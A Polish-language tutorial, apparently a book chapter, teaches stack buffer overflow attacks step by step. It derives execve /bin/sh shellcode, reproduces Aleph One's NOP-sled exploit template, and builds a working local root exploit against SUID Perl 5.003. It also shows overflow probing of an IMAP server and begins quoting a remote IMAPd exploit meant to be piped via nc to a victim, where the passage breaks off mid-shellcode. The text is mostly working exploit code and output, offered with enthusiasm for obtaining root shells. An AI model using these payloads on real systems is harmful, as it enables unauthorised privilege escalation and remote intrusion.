Ataki typu Buffer Overflow
Czyli popularnie mówišc exploity, (albo sploity w zależnoci od wymowy:-). Ten typ włamań zrobił oszołamiajšcš karierę w sieci, na co złożyło się kilka przyczyn, między innymi:
- Wiele poleceń systemów Unixowych było pisanych przez poczštkujšcych programistów i nawet jeli potem powstawały nowe ich wersje, to powielały błędy poprzedników
- Odnalezienie przez autora we własnym kodzie ródłowym miejsc, które mogš być zaatakowane nie jest wcale takie proste. Wprawdzie wiadomo, że pewnych funkcji, takich jak
strcpy(), gets(), czy strcat() należy po prostu starać się nie używać bez uprzedniego sprawdzenia długoci argumentów, jednak czasami kod wyglšda całkiem w porzšdku, a i tak się wysypuje. Poza tym niekiedy zrezygnowanie z tych funkcji wymagałoby całkowitego przeorganizowania treci programu- Wbrew pozorom, mimo, że pisanie exploitów wymaga podstawowej znajomoci asemblera, algorytm ich tworzenia nie jest wcale taki skomplikowany i częć z nich można pisać jakby od ręki
- Jest to cały czas sztuka dopiero się rozwijajšca i stwarzajšca dużo możliwoci wykazania się
Jak to zwykle bywa pierwszy krok w atakach tego typu jest całkiem niewinny i nie zapowiada póniejszych kłopotów. Potrzebne sš do niego tylko dwa warunki. Najczęciej należy tylko znaleć program który
Sprawdzenie tego drugiego warunku ręcznie może być trochę kłopotliwe, gdyż program może się wysypywać dopiero przy parametrach długoci kilku tysięcy bajtów A wpisanie takiego łańcucha z klawiatura doprowadziłoby do szału nawet najcierpliwszš osobę. Można zamiast tego napisać prosty programik w języku C, robišcy to automatycznie
W naszym przykładzie programem narażonym na atak jest Suid Perl 5.003 (znajduje się on między innymi w standardowej dystrybucji Czerwonego Kapturka 4.x)
check.c nie robi nic innego poza wywołaniem SUID PERL-a z parametrem o długoci 3000 bajtów. Ten za grzecznie odmawia współpracy, wywietlajšc znany już komunikat o błędnym odczycie/ zapisie z pamięci
Jak się za chwilę przekonasz te dwa poczštkowe kroki sš najistotniejsze przy tworzeniu exploita, bo sš jedynymi niezdeterminowanymi elementami, a znalezienie odpowiedniego kandydata do wykorzystania zależy tylko i wyłšcznie od Twojej inwencji i szczęcia. Cała reszta procesu to już cile okrelony algorytm, co najwyże
j z pewnymi wariancjami (?)Jednak wszystko po kolei. Zastanówmy się, co tak naprawdę stało się przed chwilš.
Zacznijmy od organizacji pamięci przydzielanej procesowi w trakcie jego pracy. Składa się on, z grubsza rzecz bioršc, z trzech głównych segmentów
STOS |
DANE |
TEKST (Kod programu + stałe) |
Szczególnie interesujšcy jest dla nas fragmencik najwyżej położony, tzn. stos. A dokładniej jego struktura w momencie wykonywania funkcji lokalnych.
Z grubsza wyglšda ona w ten sposób:
.
.
.
Parametry Funkcji |
Adres powrotu z funkcji |
Poczštkowa wartoć rejestru BP |
Zmienne lokalne |
.
.
.
Jeli więc w miejsce którego z parametrów lokalnych zostanie przekopiowana, przy pomocy np. funkcji strcpy, zmienna zajmujšcš zbyt dużo miejsca, to może się zdarzyć tak jak w programie przyklad1.c, że nadpisze ona również na stosie adres powrotny funkcji. W ten sposób zakłócony zostaje prawidłowy przebieg programu, co najczęciej kończy się wystšpieniem jakiej sytuacji błędnej.
Kluczowym elementem w powyższej strukturze jest funkcja strcpy, nie sprawdzajšca długoci kopiowanego łańcucha. Dzięki temu struktura stosu po jej wykonaniu ulega całkowitemu zamazaniu
Stos funkcji main() przed strcpy
.
.
.
Parametry Funkcji |
Adres powrotu z funkcji |
Poczštkowa wartoć rejestru BP |
parametr[] - zm. Niezainicjalizowana |
.
.
.
Stos funkcji main() po strcpy
.
.
.
sss...a |
ssss |
ssss |
parametr[] - Ala ma kota i pss... |
.
.
.
Sprawdmy jeszcze jaki lad zostawił program przyklad1 po niespodziewanym zakończeniu pracy. Okazuje się, że próbował on wykonać jakš instrukcję spod niedozwolonego dla niego adresu 0x73737373. Wystarczy tylko przypomnieć sobie, że literka s ma w kodzie ASCII numer 0x73, żeby
stwierdzić, że faktycznie stos funkcji main() został nadpisanyi instrukcja return, pobierajšc ze stosu adres powrotny , dostała włanie cztery razy bajt 0x73
Z tym, że, wysypać program to żadna sztuka nawet dla poczštkujšcego programisty. O wiele trudniej jest tak zmienić stos, aby mogło to zostać wykorzystane w jakim pożytecznym działaniu
To włanie robi poniższy fragment kodu, który mógłby chyba spokojnie ubiegać się o wpis do księgi Guinessa w pozycji najdziwniejszego programu liczšcego silnię.
[root@iza exploit]# cat przyklad2.c
void Petla()
{
int *ret;
ret=((int *)&ret)+2;
(*ret)-=24;
return;
}
void main(int argc,char* argv[])
{
unsigned long int liczba;
unsigned long int silnia;
if (argc<=1) printf("Podaj liczbe, z ktorej silnie liczysz\n"); else{
liczba=atoi(argv[1]);
silnia=1;
printf("Silnia z %d ",liczba);
if (liczba!=0){
silnia=liczba--*silnia;
Petla();
}
printf("wynosi %d\n",silnia);
}
return;
}
[root@iza exploit]# ./przyklad2 8
Silnia z 8 wynosi 40320
Pewnie domylasz się, że funkcja Pętla() ma za zadanie tak sterować pracš programu, aby instrukcje mnożenia była wykonywana aż do momentu kiedy, zmienna
liczba będzie równa 0.W momencie wywoływania funkcji st
os lokalny zawiera miedzy innymi takie pozycje:
... |
|
Adres powrotu z funkcji |
CS:IP |
zmienna ret |
2 bajty |
... |
więc po wykonaniu
ret=((int *)&ret)+2;
... |
|
Adres powrotu z funkcji |
CS:IP |
zmienna ret |
2 bajty |
... |
zmienna ret wskazuje dokładnie na adres powrotu z funkcji, czyli, co widać na poniższym, wydruku dokładnie na main+96
[root@iza exploit]# gcc -g -ggdb -o przyklad2 przyklad2.c
[root@iza exploit]# gdb przyklad2
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048158 <main>: pushl %ebp
0x8048159 <main+1>: movl %esp,%ebp
0x804815b <main+3>: subl $0x8,%esp
0x804815e <main+6>: cmpl $0x1,0x8(%ebp)
0x8048162 <main+10>: jg 0x8048174 <main+28>
0x8048164 <main+12>: pushl $0x80537d8
0x8048169 <main+17>: call 0x80481d0 <_IO_printf>
0x804816e <main+22>: addl $0x4,%esp
0x8048171 <main+25>: jmp 0x80481c9 <main+113>
0x8048173 <main+27>: nop
0x8048174 <main+28>: movl 0xc(%ebp),%eax
0x8048177 <main+31>: addl $0x4,%eax
0x804817a <main+34>: movl (%eax),%edx
0x804817c <main+36>: pushl %edx
0x804817d <main+37>: call 0x804d1d8 <atoi>
0x8048182 <main+42>: addl $0x4,%esp
0x8048185 <main+45>: movl %eax,0xfffffffc(%ebp)
0x8048188 <main+48>: movl $0x1,0xfffffff8(%ebp)
0x804818f <main+55>: movl 0xfffffffc(%ebp),%eax
0x8048192 <main+58>: pushl %eax
0x8048193 <main+59>: pushl $0x80537ff
0x8048198 <main+64>: call 0x80481d0 <_IO_printf>
0x804819d <main+69>: addl $0x8,%esp
0x80481a0 <main+72>: cmpl $0x0,0xfffffffc(%ebp)
0x80481a4 <main+76>: je 0x80481b8 <main+96>
0x80481a6 <main+78>: movl 0xfffffff8(%ebp),%ecx
0x80481a9 <main+81>: imull 0xfffffffc(%ebp),%ecx
0x80481ad <main+85>: movl %ecx,0xfffffff8(%ebp)
0x80481b0 <main+88>: decl 0xfffffffc(%ebp)
0x80481b3 <main+91>: call 0x8048134 <Petla>
0x80481b8 <main+96>: movl 0xfffffff8(%ebp),%eax
0x80481bb <main+99>: pushl %eax
0x80481bc <main+100>:pushl $0x805380c
0x80481c1 <main+105>:call 0x80481d0 <_IO_printf>
0x80481c6 <main+110>:addl $0x8,%esp
0x80481c9 <main+113>:jmp 0x80481cc <main+116>
0x80481cb <main+115>:nop
0x80481cc <main+116>:leave
0x80481cd <main+117>:ret
End of assembler dump.
(gdb) disassemble Petla
Dump of assembler code for function Petla:
0x8048134 <Petla>: pushl %ebp
0x8048135 <Petla+1>: movl %esp,%ebp
0x8048137 <Petla+3>: subl $0x4,%esp
0x804813a <Petla+6>: leal 0xfffffffc(%ebp),%eax
0x804813d <Petla+9>: leal 0x8(%eax),%ecx
0x8048140 <Petla+12>:movl %ecx,0xfffffffc(%ebp)
0x8048143 <Petla+15>:movl 0xfffffffc(%ebp),%eax
0x8048146 <Petla+18>:movl 0xfffffffc(%ebp),%edx
0x8048149 <Petla+21>:movl (%edx),%ecx
0x804814b <Petla+23>:addl $0xffffffe8,%ecx
0x804814e <Petla+26>:movl %ecx,(%eax)
0x8048150 <Petla+28>:jmp 0x8048154 <Petla+32>
0x8048152 <Petla+30>:leal (%esi),%esi
0x8048154 <Petla+32>:leave
0x8048155 <Petla+33>:ret
0x8048156 <Petla+34>:leal (%esi),%esi
End of assembler dump.
(gdb) q
Z kolei domylamy się, że instrukcja
<main+72>: cmpl $0x0,0xfffffffc(%ebp)
odpowiada fragmentowi
if (liczba!=0)
Więc szybko obliczmy, że zmniejszajšc adres powrotny z funkcji o 96-72=24 (instrukcjš
(*ret)-=24; )spowodujemy, że po powrocie z funkcji Petla() sterowanie zamiast do następnej instrukcji zostanie oddane z powrotem w miejsce odpowiadajšce faktycznemu poczštkowi pętli liczšcej silnieI w ten karkołomny sposób wykonuje dokładnie to co powinien ( z ograniczeniami wynikłymi z tego że do reprezentacji silni używamy w nim liczby typu long int - spróbuj to zmodyfikować, pamiętajšc, że zmienia się przy tym struktura całego programu). Co to wszystko ma jednak wspólnego z b
ezpieczeństwem ?Otóż trochę jednak ma . Pamiętajmy o tym, że cały czas mówimy programach typu SUID. Skoro potrafimy zmusić atakowany program, by wykonywał instrukcje spod wskazanego adresu, to dlaczego nie spróbować skonstruować zawartoci bufora, aby sterowanie wracało w miejsce przez nas wybrane, tak by możliwe było dalsze wykonywanie wczeniej przez nas przygotowanych instrukcji ?
Ogólny schemat naszego postępowania powinien wyglšdać następujšco:
Pierwsza częć wišże się z koniecznociš dokładnego trafienia we fragment stosu zawierajšcy adres powrotu z procedury, można spróbować wyliczać jak duży ma być kopiowany łańcuch, analizujšc kod ródłowy programu, istniejš jednak bardziej efektywne sposoby uwalniajšce nas od takiej arytmetyki, o czym przekonasz się za chwilę Natomiast dwa pozostałe punkty wišżš się z napisaniem krótkiej procedury. Niestety, ze zrozumiałych względów (dla atakowanego programu ten fragment wyglšda
tylko jako łańcuch tekstowy), musi być ona w postaci czystych rozkazów komputera czyli cišgu liczb szesnastkowych.Spróbujmy napisać taki fragment w języku najbardziej zbliżonym do wewnętrznego języka maszynowego, czyli w asemblerze.
Korzystanie z funkcji linuxa z poziomu assemblera odbywa się poprzez przerwanie 0x80. Potrzebuje ono jako parametru przekazywanego w rejestrze AX numeru uruchamianej funkcji. Pozostałe parametry zależš od konkretnego wywołania. Numery kolejnych funkcji można znaleć w pliku /usr/include/linux/unistd.h lub w zależnoci od implementacji linuxa w /usr/include/asm/unistd.h
[root@iza linux]# cat /usr/include/asm/unistd.h |more
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
* This file contains the system call numbers.
*/
#define __NR_setup 0 /* used only by init, to get system going */
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
.
.
.
Więcej na temat przerwania 0x80, parametrów jego wywołania i struktury Linuxa od rodka znajdziesz w
Kernels Hacker Guide w katalogu \READ\LINUX\LDP na dysku dołšczonym do ksišżki. W każdym razie jak pewnie zauważyłe funkcji execve odpowiada numer 11 (0xb) Potrzebuje ona ponadto podania w rejestrze BX adresu łańcucha /bin/sh w CX adresu tablicy z nazwš uruchamianego programu i parametrami, a w DX odwołania do wartoci NULL .Natomiast funkcja exit kończšca pracę procesu wymaga w rejestrze EAX liczby 1, a rejestrze EBX kodu powrotu z procesu, czyli najlepiej wartoci 0Z grubsza rzecz bioršc, kod funkcji wywołujšcej standardowy shell może wyglšdać następujšco:
[root@iza exploit]# cat shell.c
// program wywołuje standardowy shell /bin/sh i po czym kończy pracę
void main()
{
__asm__("
jmp 0x2
jmp 0x12
call -0x7
.string \"/bin/sh\"
.byte 1,1,1,1,1
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %eax, %eax
inc %eax
xorl %ebx, %ebx
int $0x80
");
}
Powinienem się jeszcze wytłumaczyć z instrukcji jmp, call. i popl Cały ten cyrk jest wstawiony tylko po to, aby w rejestrze ESI znalazł się offset łańcucha /bin/sh/. Niestety nie ma chyba prostszej metody, by to osišgnšć :-( Zwróć też uwagę, że kolejne instrukcje sš specjalnie tak dobra
ne, aby w ich kodzie nie występowała wartoć 0W nadpisywanym buforze nie będziemy mogli używać mnemoników asemblera. Spróbujmy przetłumaczyć je na kody szesnastkowe używajšc do tego celu debuggera gdb:
root@iza exploit]# gcc -g -ggdb -o shell shell.c
[root@iza exploit]# gdb shell
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048134 <main>: pushl %ebp
0x8048135 <main+1>: movl %esp,%ebp
0x8048137 <main+3>: call 0x8048149 <main+21>
0x804813c <main+8>: das
0x804813d <main+9>: boundl 0x6e(%ecx),%ebp
0x8048140 <main+12>: das
.
.
.
(gdb) x/xb main+3
0x8048137 <main+3>: 0xeb
(gdb)
0x8048138 <main+4>: 0x02
(gdb)
0x8048139 <main+5>: 0xeb
(gdb)
0x804813a <main+6>: 0x12
(gdb)
0x804813b <main+7>: 0xe8
(gdb)
0x804813c <main+8>: 0xf9
(gdb)
0x804813d <main+9>: 0xff
.
.
.
lub po prostu podglšdajšc program pod jakimkolwiek edytorem hexadecymalnym
Aby przetestować, czy nigdzie nie zrobilimy pomyłki przepisujšc kody piszemy jeszcze krótki program pomocniczy:
[root@iza exploit]# cat shellcode.c
char shellcode[] =
"\xeb\x02\xeb\x12\xe8\xf9\xff\xff\xff/bin/sh------"
"\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
i stwierdzamy, że faktycznie wywołuje on /bin/sh po czym kończy pracę.
[root@iza exploit]# ./shellcode
bash# exit
exit
[root@iza exploit]#
W tym momencie wracamy do pytania, jak umiecić zawartoć tablicy shellcode w buforze, aby adres powrotu z funkcji lokalnej wskazywał dokładnie na poczštek kodu. uruchamiajšcego powłokę ??.
Oczywicie najbardziej elegancko byłoby dokładnie przeanalizować kod ródłowy programu, w którym występuje buffer overflow i z liczydłem w ręku policzyć odległoci pomiędzy poszczególnymi jego zmiennymi, mniej więcej tak jak w przykładzie z silnš. Nie zawsze jednak ródła programu sš dostępne, poza tym czasami kod ró
dłowy jest mocno zagmatwany i po prostu nie warto byłoby wkładać tyle pracy. Spróbujmy przyjšć więc rozwišzanie przybliżone.Przy prawidłowym doborze parametrów działanie tego mechanizmu powinno wyglšdać następujšco:
Stos na poczštku funkcji
.
.
.
Parametry Funkcji |
Adres powrotu z funkcji |
Poczštkowa wartoć rejestru BP |
. |
. |
bufor - zm. Niezainicjalizowana |
.
.
.
Stos po nadpisaniu bufora
.
.
.
Adres powrotu z funkcji -poczštek bufora |
adres poczštku bufora |
adres poczštku bufora ... |
bufor - właciwy kod uruchamiajšcy shella |
NOP NOP ... |
.
.
.
Po wykonanie instrukcji ret
.
.
.
Adres powrotu z funkcji -poczštek bufora |
adres poczštku bufora |
adres poczštku bufora ... |
właciwy kod uruchamiajšcy shella |
CS:IP - NOP NOP ... |
Wykonujš się instrukcje NOP, a po
nich instrukcje "podrzucone" do bufora
.
.
.
Składajšc to wszystko razem otrzymujemy wzorcowy exploit :-). Kod - Aleph One - Komentarze własne.
// © 1997 AlephOne
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Ten kod to jest szesnastkowa reprezentacja asemblerowego kodu odpowiadajšcego wywołaniu shella bin/sh funkcja execve oraz wyjciu z programu funkcja exit . Rózni się w niewielkich szczegółach od tej przygotowanej przez nas. Jej kod ródłowy możesz znaleć w dodatku C
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
W ten sposób wiemy, gdzie zaczyna się stos. Przyjmujemy, że atakowany program nie będzie zmieniał segmentu stosu, bo inaczej ta funkcja wprowadzałaby nas tylko w błšd
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
Jeli do programu nie zostanš podane żadne parametry, to próbowane sš domyslne wartoci wielkoci bufora i odległoci od poczštku bufora do poczštku stosu. Zazwyczaj jednak zanim nastšpi buffer overflow trzeba będzie kilka razy wywołać poniższy program z różnymi parametrami
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
Wypełniamy całš przestrzeń bufora adresem powrotnym wskazujšcym na poczštek bufora. Jest szansa , że jednš z nadpisanych pozycji będzie fragment stosu zawierajšcy adres powrotu z funkcji.
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
Do połowy bufora wsadzamy instrukcję NOP, zwiększa to znacznie prawdopodobieństwo trafienia w instrukcje przez nas przygotowane,
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
Powyżej połowy bufora umieszczamy właciwy kod wywołujšcy /bin/sh
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
eksportujemy zmiennš systemowš EGG (to chyba od kukułczego jajka), by póniejsze wykorzystać ja poprzez odwołanie:
program_podatny_na_atak $EGG
Dalej zabawa jest prosta. Wystarczy kilka razy uruchomić powyższy szablon z różnymi param
etrami i program, który testujemy/* Parametr jest zbyt mały, stos nie został nadpisany */
/* Teraz jest zbyt duży, adres powrotu z procedury został nadpisany, ale chyba nie tš wartociš, którš powinien, kończy się to zazwyczaj włanie napisem Segmentation fault
.
.
.
aby po jakim czasie dostać upragnionego root shell-a
Ostatni krok to przerobienie schematu buffer overflow na konkretne wymagania atakowanego programu (w naszym wypadku /usr/bin/sperl5.003).
// Standardowy atak typu Buffer Overflow wg. wzorca Aleph One
// Program uruchamia Suid Perla 5.003 (wersje wczesniejsze niz 8)
// i nadpisujac jego bufor daje uprawnienia root-a (root shell)
#include <stdlib.h>
#define DEFAULT_OFFSET 512
#define DEFAULT_BUFFER_SIZE 1500
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
//if (argc > 1) bsize = atoi(argv[1]);
//if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
//memcpy(buff,"EGG=",4);
//putenv(buff);
execl("/usr/bin/sperl5.003","/usr/bin/",buff,NULL);
}
No i jeszcze przetestowanie nowego programu
Od tej pory możesz zaczšć błyszczeć wród kolegów jako autor SPLOITÓW :-). Jak widać wcale nie było to takie bolesne, jak się wydawało na poczštku.
Oczywicie istnieje kilka modyfikacji tej metody i nie zawsze atak polega tylko na właciwym doborze cyferek. Dwie najważniejsze odmiany tego algorytmu to nadpisywanie stosu poprzez zmienne systemowe oraz szczególnie grone remote buffer overflows czyli ataki zdalne. Ponadto niektórzy autorzy exploitów stosujš technikę polegajšcš na uruchamianiu funkcja w pętli
fork kolejnych kopii procesu z różnymi w poszukiwaniu właciwego adresu poczštku stosu i rozmiaru bufora (patrz np. plik \Exploit\linuxsu2.htm)Ataki nadpisujšce zmienne systemowe
Niekiedy, mimo, że mamy atakowany program stwarza możliwoć nadpisania bufora jego rozmiar jest tak mały, że po prostu nie zmieszczš się w nim bajty pozwalajšce na wywołanie shell-a. Można w takim przypadku próbować wpisać ten kod do jednej ze zmiennych systemowych.
Powinnimy jeszcze raz dokładniej przyjrzeć się mapie pamięci procesu. Okazuje się że nad stosem jeszcze co się znajduje
.
.
.
zmienne systemowe |
elementy argv[] |
Wskaniki do zmiennych systemowych |
Wskaniki do argv[] |
argc |
STOS |
DANE |
TEKST (Kod programu + stałe) |
Jedynym miejscem, które oprócz stosu możemy w prosty sposób modyfikować jest obszar zajmowany przez zmienne systemowe. Zmodyfikowany scenariusz ataku wyglšda w tym wariancie następujšco:
R zmienne systemowe - tu znajdujš się instrukcje wywołujšce shell-a |
elementy argv[] |
Wskaniki do zmiennych systemowych |
Wska niki do argv[] |
argc |
... |
Adres powrotu z funkcji - adres R |
R R R R R |
bufor - jeli da się go przepełnić, to adres powrotu z funkcji będzie wskazywał na R |
Dokładny opis przykładowego exploita wykorzystujšcego odwołanie do zmiennych systemowych
jest opisany w "Smashing the Stack ..." Aleph-a One (plik \Read\ROOTSHELL\smasxhsta.txt)Ataki zdalne
Przy tworzeniu tzn. Remote exploits największy kłopot, poza oczywicie znalezieniem odpowiedniego kandydata stanowiš ustalenie w jakim segmencie pamięci znajduje się atakowany program. Te dwa czynniki to odgadniecie w jakim segmencie pamięci znajduje się stos atakowanego programu oraz przetransponowanie już przygotowanego bufora zdalnie do
Przeledmy więc kroki potrzebne do nadpisywania bufora na odległoć :-), na przykładzie niemiertelnego IMAP-a
Przy okazji: Ten typ exploitów został już w sieci tak szeroko rozpowszechniony i stosowany (np. przez Gumisie), że raczej nie znajdziesz żadnych hostów które nie byłyby na niego odporne (tzn jeden w momecie pisania ksišżki jeszcze był, ale jego adres niech zostanie tajemicš: -) . Mogę więc z czystym sumieniem opisać ataki prze port 143 w celach czysto edukacyjnych
Zaczynamy jak zwykle od zauważenia, że jeli podamy zbyt długi łańcuch przy próbie połšczenia się z portem 143 co nie gra
[hacker@bad hacker]$ telnet IZA.VCS.COM 143 Trying .............
Connected to IZA.VCS.COM.
Escape character is '^]'.
* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 04:53:06 +0100 (MET)
1500 LOGIN aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaa
Connection closed by foreign host.
Faktycznie zazwyczaj połšczenie nie jest tak gwałtownie zrywane bez słowa wyjanienia
Sprawdmy jeszcze jak zachowa się serwer przy podaniu krótszych parametrów logowania
[hacker@bad hacker]$ telnet IZA.VCS.COM 143 Trying .................
Connected to IZA.VCS.COM.
Escape character is '^]'.
* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 04:55:22 +0100 (MET)
20 LOGIN xx yy
20 NO Bad LOGIN user name and/or password
Bingo ! cala reszta to już bułka z masłem.
Po pierwsze musimy ustalić przybliżony adres poczštku stosu (na poczštek wystarczy segment w którym się stos znajduje)
[hacker@bad hacker]$ su
Password:
[root@bad hacker]# ps -x
PID TTY STAT TIME COMMAND
1 ? S 0:02 init [3]
2 ? SW 0:00 (kflushd)
3 ? SW< 0:00 (kswapd)
4 ? SW 0:00 (nfsiod)
5 ? SW 0:00 (nfsiod)
6 ? SW 0:00 (nfsiod)
7 ? SW 0:00 (nfsiod)
21 ? S 0:00 /sbin/kerneld
107 ? S 0:00 syslogd
116 ? S 0:00 klogd
127 ? S 0:00 crond
150 ? S 0:00 inetd
161 ? S 0:00 lpd
.
.
.
[root@bad hacker]# cat /proc/150/maps
08048000-0804c000 r-xp 00000000 03:01 139275
0804c000-0804d000 rw-p 00003000 03:01 139275
0804d000-08052000 rwxp 00000000 00:00 0
40000000-40005000 rwxp 00000000 03:01 16386
40005000-40006000 rw-p 00004000 03:01 16386
40006000-40007000 rw-p 00000000 00:00 0
40009000-4009c000 r-xp 00000000 03:01 16389
4009c000-400a2000 rw-p 00092000 03:01 16389
400a2000-400d4000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0
ß To Tutaj[root@bad hacker]# exit
exit
Posiadajšc potrzebne informacje możemy wzišć się za tworzenie exploita. Możemy to zrobić na dwa sposoby
a: napisać exploit lokalny i potem próbować go jako przetransportować na zdalny host
b. w kodzie programu zawrzeć zarówno jak nadpisywanie bufora jak i łšczenie się z hostem przez funkcje z sockets.h i in.h (?????)
Spróbujmy tego dokonać pierwszym sposobem, a w zasadzie przyjrzyjmy się już gotowemu exploitowi, Mam nadzieję, że stworzenie czego podobnego nie sprawiłoby Ci większego klopotu.
(Komentarze moje)
[hacker@bad nc]$ cat imap1.c
/*
* IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
*
* Workz fine against RedHat and imapd distributed with pine
*
* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
ToXyn !!!
*
* usage:
* $ (imap 0; cat) | nc victim 143
* |
* +--> usually from -1000 to 1000 ( try in steps of 100 )
*
* [ I try 0, 100 and 200 - so1o ]
*/
#include <stdio.h>
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
